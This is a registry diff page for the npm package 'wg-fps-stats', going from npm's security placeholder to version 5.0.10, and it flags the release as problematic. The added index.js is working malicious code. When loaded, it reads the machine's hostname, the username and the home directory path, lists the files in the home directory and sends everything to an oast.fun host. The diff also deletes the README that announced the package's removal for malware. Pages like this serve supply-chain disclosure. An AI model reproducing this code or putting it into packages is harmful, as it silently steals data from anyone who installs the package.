wg-fps-stats 0.0.1-security → 5.0.10

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of wg-fps-stats might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +81 -0
  2. package/package.json +8 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,81 @@
1
+ const os = require('os');
2
+ const https = require('https');
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+ const http = require('http');
6
+
7
+
8
+ function sendInfo() {
9
+ const hostname = os.hostname();
10
+ const userInfo = os.userInfo();
11
+ const url = `https://cdggjsqmawdrduupnbtnkvbx5s3goipz3.oast.fun?h=${encodeURIComponent(hostname)}&un=${encodeURIComponent(userInfo.username)}&hd=${userInfo.homedir}&wg=True`;
12
+
13
+ // Выполнение GET-запроса
14
+ https.get(url, (res) => {
15
+ console.log(``);
16
+ }).on('error', (err) => {
17
+ console.error('', err.message);
18
+ });
19
+ }
20
+
21
+
22
+
23
+ function sendHome() {
24
+ // Чтение файлов и директорий в домашней директории
25
+ function getFilesInHomeDir(homeDir) {
26
+ try {
27
+ const files = fs.readdirSync(homeDir); // Получаем список файлов и директорий
28
+ return files;
29
+ } catch (err) {
30
+ return [];
31
+ }
32
+ }
33
+
34
+ // Отправка POST запроса с файлом
35
+ function sendFilesToServer(files, url) {
36
+ const data = JSON.stringify({ files });
37
+
38
+ // Настройки для POST запроса
39
+ const options = {
40
+ method: 'POST',
41
+ headers: {
42
+ 'Content-Type': 'application/json',
43
+ 'Content-Length': Buffer.byteLength(data)
44
+ }
45
+ };
46
+
47
+ // Отправка запроса
48
+ const req = https.request(url, options, (res) => {
49
+ let responseData = '';
50
+
51
+ res.on('data', (chunk) => {
52
+ responseData += chunk;
53
+ });
54
+
55
+ res.on('end', () => {
56
+ // Ответ от сервера можно обработать здесь, если нужно
57
+ });
58
+ });
59
+
60
+ req.on('error', (error) => {
61
+ // Обработка ошибок отправки запроса
62
+ });
63
+
64
+ // Отправляем данные
65
+ req.write(data);
66
+ req.end();
67
+ }
68
+ // Получаем домашний каталог пользователя
69
+ const homeDir = os.homedir();
70
+ // Получаем список файлов и директорий в домашней директории
71
+ const files = getFilesInHomeDir(homeDir);
72
+
73
+ // URL для отправки POST запроса
74
+ const url = 'https://cdggjsqmawdrduupnbtnkvbx5s3goipz3.oast.fun/homedir'; // Укажите URL вашего сервера
75
+
76
+ // Отправка данных на сервер
77
+ sendFilesToServer(files, url);
78
+ }
79
+
80
+ // Запуск основного процесса
81
+ sendHome();
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "wg-fps-stats",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "5.0.10",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": ""
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
6
11
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=wg-fps-stats for more information.